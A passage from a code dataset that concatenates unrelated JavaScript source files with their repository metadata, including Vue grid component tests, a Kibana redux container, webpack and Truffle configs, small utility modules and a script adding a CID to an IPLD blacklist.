{ default: `<bk-row><bk-col><div class="content">1/24</div></bk-col></bk-row>` } }) expect(wrapper.html()).toContain('<div class="bk-grid-container" style="padding-right: 20px; padding-left: 20px;"><div class="bk-grid-row" style="margin-right: -10px; margin-left: -10px;"><div class="bk-grid-col" style="width: 4.167%; padding-right: 10px; padding-left: 10px;"><div class="content">1/24</div></div></div></div>') expect(wrapper.text()).toBe('1/24') }) it('render without slots', () => { const wrapper = mount(bkContainer) expect(wrapper.html()).toContain('<div class="bk-grid-container" style="padding-right: 20px; padding-left: 20px;"></div>') expect(wrapper.text()).toBe('') const wrapperSlotRow = mount(bkContainer, { slots: { default: `<bk-row></bk-row>` } }) const rowElm = wrapperSlotRow.vm.$children[0].$el expect(rowElm.outerHTML).toContain('<div class="bk-grid-row" style="margin-right: -10px; margin-left: -10px;"></div>') expect(rowElm.textContent).toBe('') const wrapperSlotCol = mount(bkContainer, { slots: { default: '<bk-row><bk-col></bk-col></bk-row>' } }) const colElm = wrapperSlotCol.vm.$children[0].$children[0].$el expect(colElm.outerHTML).toContain('<div class="bk-grid-col" style="width: 4.167%; padding-right: 10px; padding-left: 10px;"></div>') expect(colElm.textContent).toBe('') }) it('set bk-container col', () => { const wrapper = mount(bkContainer, { propsData: { col: 12 }, slots: { default: `<bk-row><bk-col></bk-col></bk-row>` } }) expect(wrapper.html()).toContain('<div class="bk-grid-container" style="padding-right: 20px; padding-left: 20px;"><div class="bk-grid-row" style="margin-right: -10px; margin-left: -10px;"><div class="bk-grid-col" style="width: 8.333%; padding-right: 10px; padding-left: 10px;"></div></div></div>') expect(wrapper.props('col')).toBe(12) }) it('set bk-container gutter', () => { const wrapper = mount(bkContainer, { propsData: { gutter: 10 }, slots: { default: `<bk-row><bk-col></bk-col></bk-row>` } }) expect(wrapper.html()).toContain('<div class="bk-grid-container" style="padding-right: 20px; padding-left: 20px;"><div class="bk-grid-row" style="margin-right: -5px; margin-left: -5px;"><div class="bk-grid-col" style="width: 4.167%; padding-right: 5px; padding-left: 5px;"></div></div></div>') expect(wrapper.props('gutter')).toBe(10) }) it('set bk-container margin', () => { const wrapper = mount(bkContainer, { propsData: { margin: 10 } }) expect(wrapper.html()).toContain('<div class="bk-grid-container" style="padding-right: 10px; padding-left: 10px;"></div>') expect(wrapper.props('margin')).toBe(10) }) it('set bk-container flex', () => { const wrapper = mount(bkContainer, { propsData: { flex: true }, slots: { default: `<bk-row></bk-row>` } }) expect(wrapper.html()).toContain('<div class="bk-grid-container" style="padding-right: 20px; padding-left: 20px;"><div class="bk-grid-row" style="display: flex; margin-right: -10px; margin-left: -10px;"></div></div>') expect(wrapper.props('flex')).toBe(true) }) it('set bk-col span: 0', () => { const wrapper = mount(bkContainer, { slots: { default: `<bk-row><bk-col :span="0"></bk-col></bk-row>` } }) const colElm = wrapper.vm.$children[0].$children[0].$el expect(colElm.outerHTML).toContain('<div class="bk-grid-col" style="width: 100%; padding-right: 10px; padding-left: 10px;"></div>') expect(colElm.style.width).toBe('100%') }) it('set bk-col span: 12', () => { const wrapper = mount(bkContainer, { slots: { default: `<bk-row><bk-col :span="12"></bk-col></bk-row>` } }) const colElm = wrapper.vm.$children[0].$children[0].$el expect(colElm.outerHTML).toContain('<div class="bk-grid-col" style="width: 50%; padding-right: 10px; padding-left: 10px;"></div>') expect(colElm.style.width).toBe('50%') }) it('set bk-col offset', () => { const wrapper = mount(bkContainer, { slots: { default: `<bk-row><bk-col :offset="12"></bk-col></bk-row>` } }) const colElm = wrapper.vm.$children[0].$children[0].$el expect(colElm.outerHTML).toContain('<div class="bk-grid-col" style="width: 4.167%; padding-right: 10px; padding-left: 10px; margin-left: 50%;"></div>') expect(colElm.style.marginLeft).toBe('50%') }) it('set bk-col pull', () => { const wrapper = mount(bkContainer, { slots: { default: `<bk-row><bk-col :pull="12"></bk-col></bk-row>` } }) const colElm = wrapper.vm.$children[0].$children[0].$el expect(colElm.outerHTML).toContain('<div class="bk-grid-col" style="width: 4.167%; padding-right: 10px; padding-left: 10px; right: 50%;"></div>') expect(colElm.style.right).toBe('50%') }) it('set bk-col push', () => { const wrapper = mount(bkContainer, { slots: { default: `<bk-row><bk-col :push="12"></bk-col></bk-row>` } }) const colElm = wrapper.vm.$children[0].$children[0].$el expect(colElm.outerHTML).toContain('<div class="bk-grid-col" style="width: 4.167%; padding-right: 10px; padding-left: 10px; left: 50%;"></div>') expect(colElm.style.left).toBe('50%') }) })
43.807692
336
0.584723
5e0817ddcb390cca5e37fb03607c5d044de57b8d
980
js
JavaScript
x-pack/legacy/plugins/cross_cluster_replication/public/app/sections/home/auto_follow_pattern_list/components/auto_follow_pattern_table/auto_follow_pattern_table.container.js
ElWPenn/kibana
a379a995ad8b5abac1863438153998ff53366100
[ "Apache-2.0" ]
1
2021-08-25T16:49:46.000Z
2021-08-25T16:49:46.000Z
x-pack/legacy/plugins/cross_cluster_replication/public/app/sections/home/auto_follow_pattern_list/components/auto_follow_pattern_table/auto_follow_pattern_table.container.js
ElWPenn/kibana
a379a995ad8b5abac1863438153998ff53366100
[ "Apache-2.0" ]
2
2021-09-02T05:13:18.000Z
2022-01-22T10:18:09.000Z
x-pack/legacy/plugins/cross_cluster_replication/public/app/sections/home/auto_follow_pattern_list/components/auto_follow_pattern_table/auto_follow_pattern_table.container.js
p1803998/kibanana
dda8d86aa43923334da2121fcb9af0542abca225
[ "Apache-2.0" ]
1
2020-01-13T18:30:24.000Z
2020-01-13T18:30:24.000Z
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License; * you may not use this file except in compliance with the Elastic License. */ import { connect } from 'react-redux'; import { SECTIONS } from '../../../../../constants'; import { selectDetailAutoFollowPattern } from '../../../../../store/actions'; import { getApiStatus } from '../../../../../store/selectors'; import { AutoFollowPatternTable as AutoFollowPatternTableComponent } from './auto_follow_pattern_table'; const scope = SECTIONS.AUTO_FOLLOW_PATTERN; const mapStateToProps = state => ({ apiStatusDelete: getApiStatus(`${scope}-delete`)(state), }); const mapDispatchToProps = dispatch => ({ selectAutoFollowPattern: name => dispatch(selectDetailAutoFollowPattern(name)), }); export const AutoFollowPatternTable = connect( mapStateToProps, mapDispatchToProps )(AutoFollowPatternTableComponent);
35
104
0.738776
5e08e7364627d0db962b933be2627e5a904b71a6
346
js
JavaScript
migrations/2_deploy_contracts.js
mjfullstack/UdacityExC6C
4b8b9dace9ccf66145f89af89084b1c2fc5b4e8f
[ "MIT" ]
null
null
null
migrations/2_deploy_contracts.js
mjfullstack/UdacityExC6C
4b8b9dace9ccf66145f89af89084b1c2fc5b4e8f
[ "MIT" ]
1
2021-09-02T02:11:37.000Z
2021-09-02T02:11:37.000Z
migrations/2_deploy_contracts.js
mjfullstack/UdacityExC6C
4b8b9dace9ccf66145f89af89084b1c2fc5b4e8f
[ "MIT" ]
null
null
null
// migrating the appropriate contracts var ExerciseC6C = artifacts.require("./ExerciseC6C/ExerciseC6C.sol"); var ExerciseC6CApp = artifacts.require("./ExerciseC6C/ExerciseC6CApp.sol"); module.exports = function(deployer) { deployer.deploy(ExerciseC6C).then( () => { return deployer.deploy(ExerciseC6CApp, ExerciseC6C.address); }); };
34.6
75
0.745665
5e09485030ed90b2e9a6a5764ffc005087c1539a
2,127
js
JavaScript
webpack.config.js
vikian050194/BSorting
705602e65b542e588e8e9a0a3b266b42dfa33471
[ "MIT" ]
null
null
null
webpack.config.js
vikian050194/BSorting
705602e65b542e588e8e9a0a3b266b42dfa33471
[ "MIT" ]
null
null
null
webpack.config.js
vikian050194/BSorting
705602e65b542e588e8e9a0a3b266b42dfa33471
[ "MIT" ]
null
null
null
const path = require("path"); const ESLintPlugin = require("eslint-webpack-plugin"); const MiniCssExtractPlugin = require("mini-css-extract-plugin"); const buildFolderName = "build"; module.exports = { mode: "development", entry: ["./src/js/index.js", "./src/css/index.css", "./src/index.html", "./src/favicon.svg"], devtool: "inline-source-map", module: { rules: [ { test: /\.js$/, exclude: /(node_modules)/, use: { loader: "babel-loader", options: { presets: ["@babel/preset-env"] } } }, { test: /\.css$/, use: [ MiniCssExtractPlugin.loader, "css-loader" ] }, { test: /\.(jpg|jpeg|gif|png|ico|svg)$/, loader: "file-loader", options: { limit: 1024, name: "[name].[ext]" } }, { test: /\.(html)$/, loader: "file-loader", options: { limit: 1024, name: "[name].[ext]" } } ] }, output: { filename: "bundle.js", path: path.resolve(__dirname, buildFolderName), publicPath: "/" }, plugins: [ new MiniCssExtractPlugin({ filename: "bundle.css" }), new ESLintPlugin({}) ], devServer: { host: "127.0.0.1", port: 8080, hot: false, open: false, historyApiFallback: true, watchFiles: ["src/**/*"], static: { directory: path.join(__dirname, buildFolderName), publicPath: "/", watch: false }, client: { overlay: { errors: true, warnings: false }, progress: true, reconnect: true } } };
26.5875
97
0.391161
5e09682baa04adbc55ff71e5012160f5b20f86cc
345
js
JavaScript
src/components/forms/custom-elements/CustomDisabledButton.js
yorknguyen/react-app-jenkins
e05c9c522e16f3aa35d75502a71c0d631ee88234
[ "MIT" ]
null
null
null
src/components/forms/custom-elements/CustomDisabledButton.js
yorknguyen/react-app-jenkins
e05c9c522e16f3aa35d75502a71c0d631ee88234
[ "MIT" ]
null
null
null
src/components/forms/custom-elements/CustomDisabledButton.js
yorknguyen/react-app-jenkins
e05c9c522e16f3aa35d75502a71c0d631ee88234
[ "MIT" ]
null
null
null
import React from 'react'; import { styled } from '@material-ui/core/styles'; import { Button } from '@material-ui/core'; const CustomDisabledButton = styled((props) => <Button {...props} />)(({ theme }) => ({ backgroundColor: `${theme.palette.mode === 'dark' ? 'rgba(73,82,88,0.12)' : '#ecf0f3'}`, })); export default CustomDisabledButton;
34.5
90
0.652174
5e09c12dc9c3f1999889393d72b8e0aa21d1e61a
563
js
JavaScript
dyno-bot-master/Dyno-youtube-api/src/ipc/cfgset.js
Discord-Wiz/dyno-bot-master
eef006e59cbfff7ca1b7c01e0ae3e5ad008adbbf
[ "MIT" ]
6
2021-01-28T16:49:45.000Z
2021-11-07T10:33:18.000Z
dyno-bot-master/Dyno-youtube-api/src/ipc/cfgset.js
Discord-Wiz/dyno-bot-master
eef006e59cbfff7ca1b7c01e0ae3e5ad008adbbf
[ "MIT" ]
null
null
null
dyno-bot-master/Dyno-youtube-api/src/ipc/cfgset.js
Discord-Wiz/dyno-bot-master
eef006e59cbfff7ca1b7c01e0ae3e5ad008adbbf
[ "MIT" ]
11
2021-01-29T00:44:42.000Z
2022-01-05T18:45:47.000Z
'use strict'; const dot = require('dot-object'); const config = require('../core/config'); // eslint-disable-line module.exports = function cfgset(dyno, config, message) { const key = message.d.key; let value = message.d.value; if (!key) { return process.send({ op: 'resp', d: 'No key specified.' }); } if (!value) { return process.send({ op: 'resp', d: 'No value specified.' }); } if (value === 'true' || value === 'false') { value = (value === 'true'); } dot.set(key, value, config); return process.send({ op: 'resp', d: 'Success' }); };
21.653846
64
0.600355
5e09d09aeee7920066c205cb0dec135cfcdf874e
4,216
js
JavaScript
src/view/droppable/connected-droppable.js
rambabusaravanan/react-beautiful-dnd
416b91b1d7b65d5684d504cfb5a96871e62d0fb8
[ "Apache-2.0" ]
1
2019-04-12T09:16:30.000Z
2019-04-12T09:16:30.000Z
src/view/droppable/connected-droppable.js
Mr-jili/react-beautiful-dnd
9a625b14eeaf7dc72a0efd1700dee868afcc6678
[ "Apache-2.0" ]
null
null
null
src/view/droppable/connected-droppable.js
Mr-jili/react-beautiful-dnd
9a625b14eeaf7dc72a0efd1700dee868afcc6678
[ "Apache-2.0" ]
1
2020-12-14T11:41:48.000Z
2020-12-14T11:41:48.000Z
// @flow import { type Node } from 'react'; import { connect } from 'react-redux'; import memoizeOne from 'memoize-one'; import { storeKey } from '../context-keys'; import Droppable from './droppable'; import isStrictEqual from '../is-strict-equal'; import type { State, DroppableId, DraggableId, DraggableLocation, DraggableDimension, DraggableDescriptor, Placeholder, } from '../../types'; import type { OwnProps, DefaultProps, MapProps, Selector, } from './droppable-types'; // Returning a function to ensure each // Droppable gets its own selector export const makeMapStateToProps = (): Selector => { const getIsDraggingOver = ( id: DroppableId, destination: ?DraggableLocation, ): boolean => { if (!destination) { return false; } return destination.droppableId === id; }; const shouldUsePlaceholder = ( id: DroppableId, descriptor: DraggableDescriptor, destination: ?DraggableLocation, ): boolean => { if (!destination) { return false; } // Do not use a placeholder when over the home list if (id === descriptor.droppableId) { return false; } // TODO: no placeholder if over foreign list return id === destination.droppableId; }; const getMapProps = memoizeOne( ( isDraggingOver: boolean, draggingOverWith: ?DraggableId, placeholder: ?Placeholder, ): MapProps => ({ isDraggingOver, draggingOverWith, placeholder, }), ); const selector = (state: State, ownProps: OwnProps): MapProps => { if (ownProps.isDropDisabled) { return getMapProps(false, null, null); } const id: DroppableId = ownProps.droppableId; if (state.isDragging) { const destination: ?DraggableLocation = state.impact.destination; const isDraggingOver: boolean = getIsDraggingOver(id, destination); const draggableId: DraggableId = state.critical.draggable.id; const draggingOverWith: ?DraggableId = isDraggingOver ? draggableId : null; const draggable: DraggableDimension = state.dimensions.draggables[draggableId]; const placeholder: ?Placeholder = shouldUsePlaceholder( id, draggable.descriptor, destination, ) ? draggable.placeholder : null; return getMapProps(isDraggingOver, draggingOverWith, placeholder); } if (state.phase === 'DROP_ANIMATING') { const destination: ?DraggableLocation = state.pending.impact.destination; const isDraggingOver = getIsDraggingOver(id, destination); const draggableId: DraggableId = state.pending.result.draggableId; const draggingOverWith: ?DraggableId = isDraggingOver ? draggableId : null; const draggable: DraggableDimension = state.dimensions.draggables[draggableId]; const placeholder: ?Placeholder = shouldUsePlaceholder( id, draggable.descriptor, destination, ) ? draggable.placeholder : null; return getMapProps(isDraggingOver, draggingOverWith, placeholder); } return getMapProps(false, null, null); }; return selector; }; // Leaning heavily on the default shallow equality checking // that `connect` provides. // It avoids needing to do it own within `Droppable` const connectedDroppable: OwnProps => Node = (connect( // returning a function so each component can do its own memoization makeMapStateToProps, // mapDispatchToProps - not using null, // mergeProps - using default null, { // Using our own store key. // This allows consumers to also use redux // Note: the default store key is 'store' storeKey, // Default value, but being really clear pure: true, // When pure, compares the result of mapStateToProps to its previous value. // Default value: shallowEqual // Switching to a strictEqual as we return a memoized object on changes areStatePropsEqual: isStrictEqual, }, ): any)(Droppable); connectedDroppable.defaultProps = ({ type: 'DEFAULT', isDropDisabled: false, direction: 'vertical', ignoreContainerClipping: false, }: DefaultProps); export default connectedDroppable;
27.376623
79
0.676945
5e0abe85797bf5089e92808cad3e98768b988ce8
147
js
JavaScript
public/tablet/index.js
bartlomiej-szlachta/dynamic-server-webpage
c58cbfa162c9664b8c9751c837108242f1ec0eac
[ "MIT" ]
null
null
null
public/tablet/index.js
bartlomiej-szlachta/dynamic-server-webpage
c58cbfa162c9664b8c9751c837108242f1ec0eac
[ "MIT" ]
null
null
null
public/tablet/index.js
bartlomiej-szlachta/dynamic-server-webpage
c58cbfa162c9664b8c9751c837108242f1ec0eac
[ "MIT" ]
null
null
null
document.getElementById('section-dimensions') .innerText = `Wymiary ekranu: szerokość ${window.screen.width}, wysokość ${window.screen.height}`;
49
100
0.768707
5e0b023f431c77783302c2e7f5a973c5d542bf9c
292
js
JavaScript
lib/array/pararell.js
ne2030/giveu-fp
6950bee8a71819346cd5856da42509bde4092d6d
[ "MIT" ]
null
null
null
lib/array/pararell.js
ne2030/giveu-fp
6950bee8a71819346cd5856da42509bde4092d6d
[ "MIT" ]
null
null
null
lib/array/pararell.js
ne2030/giveu-fp
6950bee8a71819346cd5856da42509bde4092d6d
[ "MIT" ]
null
null
null
// pararell module.exports = (xs, ys, f) => { const [iterX, iterY] = [xs[Symbol.iterator](), ys[Symbol.iterator]()]; const nxs = []; let x, y; while ((x = iterX.next(), y = iterY.next(), !x.done && !y.done)) { nxs.push(f(x.value, y.value)); } return nxs; };
22.461538
74
0.513699
5e0b0380ef59ad1e16ec3b28c50c1cab401e32ca
1,018
js
JavaScript
es/encodeUtf8.js
saqqdy/js-cool
e0a2d109b25dd5bccb1e0991a5cd026618013974
[ "MIT" ]
12
2021-01-23T06:51:37.000Z
2021-11-26T09:25:37.000Z
es/encodeUtf8.js
saqqdy/js-cool
e0a2d109b25dd5bccb1e0991a5cd026618013974
[ "MIT" ]
null
null
null
es/encodeUtf8.js
saqqdy/js-cool
e0a2d109b25dd5bccb1e0991a5cd026618013974
[ "MIT" ]
1
2021-09-20T07:31:07.000Z
2021-09-20T07:31:07.000Z
/*! * js-cool v2.2.4 * 一些常用的JS方法,支持按需引入 * (c) 2019-2021 saqqdy * Released under the MIT License. */ 'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); /** * 编码Utf8 * * @param input - 需要编码的字符串 * @returns 返回UTF-8编码 */ function encodeUtf8(string) { string = string.replace(/\r\n/g, '\n'); var utftext = ''; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c); } else if (c > 127 && c < 2048) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128); } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128); } } return utftext; } exports["default"] = encodeUtf8; exports.encodeUtf8 = encodeUtf8;
25.45
67
0.520629
5e0b2ae30eaaf71cacea7b8ca733b7b32aacf38d
724
js
JavaScript
bin/run.js
Swiftx/tase-shop-seller
6fd34ae455047eab0163016e70d48cf4fa88188e
[ "MIT" ]
null
null
null
bin/run.js
Swiftx/tase-shop-seller
6fd34ae455047eab0163016e70d48cf4fa88188e
[ "MIT" ]
null
null
null
bin/run.js
Swiftx/tase-shop-seller
6fd34ae455047eab0163016e70d48cf4fa88188e
[ "MIT" ]
null
null
null
const path = require('path'); const config = require('./webpack'); const { Compiler } = require('../modules/webpack-react-scaffold/dist'); const docsCompiler = new Compiler(); docsCompiler.entry.main = path.resolve(__dirname,'../components/docs/index.ts'); docsCompiler.module.rules.unshift({ test: /\.md$/, use: 'raw-loader' }); const adminComplier = new Compiler(); adminComplier.entry.main = path.resolve(__dirname,'../src/index.ts'); docsCompiler.module.rules.unshift({ test: /\.less$/, use: [ {loader: "style-loader"}, {loader: "css-loader"}, {loader: "less-loader"} ] }); docsCompiler.run('localhost', 3000); adminComplier.run('localhost', 3001);
30.166667
81
0.63674
5e0bc20163c53c2caac9b6e80d3bb8beb787a1ea
1,888
js
JavaScript
ngdoc/processors/compute-extend-docs.js
escoffon/fl-dgeni
e81d3c7b914e9df0b92b2943be3bc559877ff2dc
[ "MIT" ]
null
null
null
ngdoc/processors/compute-extend-docs.js
escoffon/fl-dgeni
e81d3c7b914e9df0b92b2943be3bc559877ff2dc
[ "MIT" ]
null
null
null
ngdoc/processors/compute-extend-docs.js
escoffon/fl-dgeni
e81d3c7b914e9df0b92b2943be3bc559877ff2dc
[ "MIT" ]
null
null
null
var _ = require('lodash'); // This processor adds the 'extend_docs' property to any docs that contain a nonempty 'extends' function addExtendDocs(doc, aliasMap, flUtilities) { if (doc['extends']) { var xd = aliasMap.getDocs(doc['extends']); doc['extend_docs'] = _.map(xd, function(xd) { // This function does two things: // 1. builds the extend_docs info for a given 'super' type // 2. adds the current doc to the list of 'sub' types. // We need to account for this pattern: // A < B < C (A extends B which extends C) // D < B < C (D extends B which extends C) // In this case, we visit B from A and D, and then traverse // C twice from B. If we just push B on the list of C's subtypes, // it will get pushed twice. // So, we only push B if it is not already there. if (!xd.subtypes) { xd.subtypes = [ ]; } var item = _.find(xd.subtypes, function(dv, dk) { return dv.name == doc.name; }); if (!item) { xd.subtypes.push(doc); } return { id: xd.id, name: xd.name, state: xd.state, type: xd.docType, outputPath: xd.outputPath, path: xd.path }; }); _.forEach(xd, function(d) { addExtendDocs(d, aliasMap, flUtilities); }); } }; module.exports = function computeExtendDocsProcessor(aliasMap, flUtilities) { return { $runAfter: ['paths-computed'], $runBefore: ['apiDataProcessor'], $process: process }; // The process method takes the list of documents as a parameter. function process(docs) { _.forEach(docs, function(doc) { addExtendDocs(doc, aliasMap, flUtilities); }); } };
29.5
95
0.540784
5e0bcb0ce9f838543ae4b1ec002ae97b87415c41
3,820
js
JavaScript
libs/scripts/addCIDToIpldBlacklist.js
abelxmendoza/audius-protocol
33757e1b722a4be97960086b98b26ae3a75ee56b
[ "Apache-2.0" ]
1
2022-03-27T21:40:36.000Z
2022-03-27T21:40:36.000Z
libs/scripts/addCIDToIpldBlacklist.js
abelxmendoza/audius-protocol
33757e1b722a4be97960086b98b26ae3a75ee56b
[ "Apache-2.0" ]
null
null
null
libs/scripts/addCIDToIpldBlacklist.js
abelxmendoza/audius-protocol
33757e1b722a4be97960086b98b26ae3a75ee56b
[ "Apache-2.0" ]
null
null
null
const { getDataContractAccounts } = require('../initScripts/helpers/utils') const contractConfig = require('../../contracts/contract-config.js') const AudiusLibs = require('../src') const { initializeLibConfig } = require('../tests/helpers') const Utils = require('../src/utils') const networks = new Set([ 'development', 'test_local' // disable mainnet keys for now /* 'audius_private', 'poa_mainnet', 'poa_sokol' */ ]) let config // node addCIDToIpldBlacklist.js <env> <cid> // From libs root: // node scripts/addCIDToIpldBlacklist.js development QmSH5gJPHg9xLzV823ty8BSGyHNP6ty22bgLsv5MLY3kBq async function run () { try { const { network, cid } = parseArgs() const decodedCID = decodeCID(cid) config = contractConfig[network] // note: can extract private key here if necessary const { BLACKLISTER_PUBLIC_KEY } = await getBlacklisterKeys(network) const audiusLibs = await createAndInitLibs(BLACKLISTER_PUBLIC_KEY) const ipldTxReceipt = await addIPLDTxToChain(audiusLibs, decodedCID.digest) console.log(`Successfully added ${cid} to chain! \nIpld Tx Receipt:`) console.log(ipldTxReceipt) console.log( '\nYou might need to wait a full 60s cycle for your CID to be added to the IPLD blacklist table!' ) // manually check ipld blacklist table to see if CID was added // NOTE: might need to wait ~60s } catch (e) { console.error(e.message) if (e.message.includes('Incorrect script usage')) { console.log('Available environments are:') console.log(networks) } } } // get appropriate args from CLI function parseArgs () { const args = process.argv.slice(2) const network = args[0] const cid = args[1] // check appropriate CLI usage if (!network || !cid || !networks.has(network)) { let errorMessage = `Incorrect script usage for input env (${network}) and (cid) ${cid}.` errorMessage += "\nPlease follow the structure 'node addCIDToIpldBlacklist.js <env> <cid>'" throw new Error(errorMessage) } return { network, cid } } // transform CID into a readable digest function decodeCID (cid) { let decodedCID try { decodedCID = Utils.decodeMultihash(cid) } catch (e) { throw new Error(`Error with decoding input CID ${cid}: ${e}`) } return decodedCID } // get key according to environmnet async function getBlacklisterKeys (network) { let BLACKLISTER_PUBLIC_KEY let BLACKLISTER_PRIVATE_KEY = null // what would this be for mainnet? // if local dev, grab priv/pub keys from local ganache chain // else, grab key from config // NOTE: for local dev, wallet[0] is unlocked and does not require a private key if (network === 'development' || network === 'test_local') { const ganacheContractsAccounts = await getDataContractAccounts() const keyPairs = ganacheContractsAccounts.private_keys BLACKLISTER_PUBLIC_KEY = Object.keys(keyPairs)[0] BLACKLISTER_PRIVATE_KEY = keyPairs[BLACKLISTER_PUBLIC_KEY] } else { BLACKLISTER_PUBLIC_KEY = config.blacklisterAddress } return { BLACKLISTER_PUBLIC_KEY, BLACKLISTER_PRIVATE_KEY } } // init libs with blacklister public address async function createAndInitLibs (blacklisterPublicKey) { let audiusLibs try { const libsConfig = await initializeLibConfig(blacklisterPublicKey) audiusLibs = new AudiusLibs(libsConfig) await audiusLibs.init() } catch (e) { throw new Error(`Error with initializing libs: ${e}`) } return audiusLibs } // add cid to ipld blacklist async function addIPLDTxToChain (audiusLibs, digest) { let ipldTxReceipt try { ipldTxReceipt = await audiusLibs.contracts.IPLDBlacklistFactoryClient.addIPLDToBlacklist( digest ) } catch (e) { throw new Error(`Error with adding IPLD blacklist txn: ${e}`) } return ipldTxReceipt } run()
30.56
103
0.713613
5e0c0d7cf7ad3955c3f50bffe2a80fcc5b6f7dc9
1,579
js
JavaScript
project/react-ant/src/base/BaseContainer.js
Le-Fu/generator-earth
1d2f819b317b556b4739ec3da6a060d789bcadf3
[ "MIT" ]
19
2017-09-06T09:15:17.000Z
2021-05-14T08:11:35.000Z
project/react-ant/src/base/BaseContainer.js
jiajianrong/generator-earth
7c4eebd127d5f231c91f6e9761e8c9463412d3f8
[ "MIT" ]
11
2020-02-24T12:17:25.000Z
2021-05-11T12:24:46.000Z
project/react-ant/src/base/BaseContainer.js
jiajianrong/generator-earth
7c4eebd127d5f231c91f6e9761e8c9463412d3f8
[ "MIT" ]
11
2018-08-06T08:56:45.000Z
2021-04-20T04:30:49.000Z
import React, { Component } from 'react' import PropTypes from 'prop-types' /** * 普通container的基类 * 已包装所在路由的前缀 */ export default class extends Component { static contextTypes = { CONTAINER_ROUTE_PREFIX: PropTypes.string, } /** * 可以使用 this.context.CONTAINER_ROUTE_PREFIX 获取 routeContainerHOC提供的路径前缀 * 如 instanceMethod() { console.log(this.context.CONTAINER_ROUTE_PREFIX) } */ sleep(n=0) { return new Promise(resolve=>{ setTimeout( ()=>resolve(), n ) }) } } /** * 如果不继承自 BaseContainer,而选择使用函数的话,需此HOC包装 */ export const funcContainerHOC = function(FuncContainer) { FuncContainer.contextTypes = { CONTAINER_ROUTE_PREFIX: PropTypes.string } return FuncContainer; } /** * 所有继承自上述BaseContainer的Container以及Component 都应该在某个含有Route的Container之下, * 即 * <RouteContainer> * <BaseContainer/> * <BaseContainer/> * <BaseContainer/> * ... * </RouteContainer> * * routeContainerHOC 为 RouteContainer 赋值 childContextTypes */ export const routeContainerHOC = function(BaseContainer) { return class extends Component { static childContextTypes = { CONTAINER_ROUTE_PREFIX: PropTypes.string, } getChildContext () { const { match } = this.props; return { CONTAINER_ROUTE_PREFIX: match.path, } } render() { return <BaseContainer {...this.props} /> } } }
19.493827
76
0.588347
5e0c4cba5851614491ae0a297a115d9d19fedb84
1,663
js
JavaScript
docs/_static/js/version_table.js
huybk213/audio_ip_idf
6a3fcdd1cda8e2d0fbff6dfc7013135c18c80bfc
[ "Apache-2.0" ]
null
null
null
docs/_static/js/version_table.js
huybk213/audio_ip_idf
6a3fcdd1cda8e2d0fbff6dfc7013135c18c80bfc
[ "Apache-2.0" ]
null
null
null
docs/_static/js/version_table.js
huybk213/audio_ip_idf
6a3fcdd1cda8e2d0fbff6dfc7013135c18c80bfc
[ "Apache-2.0" ]
null
null
null
$(document).ready(function() { let version = DOCUMENTATION_OPTIONS.VERSION; let language = DOCUMENTATION_OPTIONS.LANGUAGE; let idf_target = DOCUMENTATION_OPTIONS.IDF_TARGET; let pagename = DOCUMENTATION_OPTIONS.PAGENAME + ".html"; let defaults = DOCUMENTATION_VERSIONS.DEFAULTS; let versions = DOCUMENTATION_VERSIONS.VERSIONS; /* Apply the defaults to each version, where needed */ for (let i = 0; i < versions.length; i++) { let v = versions[i]; for (let d in defaults) { if (!(d in v)) { v[d] = defaults[d]; } } } /* Find the (relative) base URL for this project, finding a sibling URL will be built as follows: <project_base_url>/<language>/<version>/<idf_target> (Where 'idf_target' path element are optional depending on if the project has multiple target support) */ let project_base_url = DOCUMENTATION_OPTIONS.URL_ROOT + "../../.."; if (DOCUMENTATION_OPTIONS.IDF_TARGETS) { project_base_url += "/.."; } /* Given a version from the list, return the URL to link to it */ function getVersionUrl(v) { let result = project_base_url + "/" + language + "/" + v.name; if (v.has_targets) { result += "/" + (idf_target || "esp32"); } return result + "/"; }; old_ver_list = ""; for (let i = 0; i < versions.length; i++) { let v = versions[i]; let url = getVersionUrl(v); if (v.old) { old_ver_list += "<li><a href=\"" + url + "\">" + v.name + "</li>"; } } $( "#version_list" ).append(old_ver_list); });
30.236364
106
0.579675
5e0c5d2586b83075b81cca51ecd813d78316edaf
857
js
JavaScript
lib/set-id.js
warncke/immutable-commerce
18adb9c5489265bbb4bd0ce46172048fefe9578e
[ "MIT" ]
null
null
null
lib/set-id.js
warncke/immutable-commerce
18adb9c5489265bbb4bd0ce46172048fefe9578e
[ "MIT" ]
null
null
null
lib/set-id.js
warncke/immutable-commerce
18adb9c5489265bbb4bd0ce46172048fefe9578e
[ "MIT" ]
null
null
null
'use strict' /* npm libraries */ var isObject = require('isobject') /* application libraries */ var stableId = require('../lib/stable-id.js') /* public functions */ module.exports = setId /** * @function setId * * @param {object} obj - object to set id on * @param {string} idName - name of id property * @param {undefined|string} originalIdName - optional name of original id property * * @returns {object} */ function setId (obj, idName, originalIdName) { // require object if (!isObject(obj)) { // return whatever was passed in return obj } // set id obj[idName] = stableId(obj) // if original id property was passed, then set original id if not already set if (originalIdName && !obj[originalIdName]) { obj[originalIdName] = obj[idName] } // return modified object return obj }
24.485714
83
0.647608
5e0cb9722788bae6118a45fdbf00c5939b1a6260
345
js
JavaScript
bundle/js/validators/isEqualToField.js
vulcan-estudios/vulcanval
b8478debdbdea7f3645f10a57564fbf2cda639c7
[ "MIT" ]
9
2016-07-04T12:44:00.000Z
2017-09-22T22:37:07.000Z
bundle/js/validators/isEqualToField.js
vulcan-estudios/vulcanval
b8478debdbdea7f3645f10a57564fbf2cda639c7
[ "MIT" ]
9
2016-09-15T21:59:04.000Z
2017-09-23T03:21:45.000Z
bundle/js/validators/isEqualToField.js
vulcan-estudios/vulcanval
b8478debdbdea7f3645f10a57564fbf2cda639c7
[ "MIT" ]
null
null
null
"use strict"; /** * @name isEqualToField * @memberof settings.validators * @function * * @description * This field value has to be the same as another field the form. The name of * the comparing field should be set as a string parameter. */ module.exports = function isEqualToField(value, field) { return value === this.get(field); };
24.642857
77
0.707246
5e0cbbabb5b275ce4d439562d6655a379f4aaa96
579
js
JavaScript
functions/api/twilio/sms/controller.js
HrishikeshKarale/kkiokio
fa0b0b3abe85dede6e1e2bb3ff13d3f2dc13e2b1
[ "MIT" ]
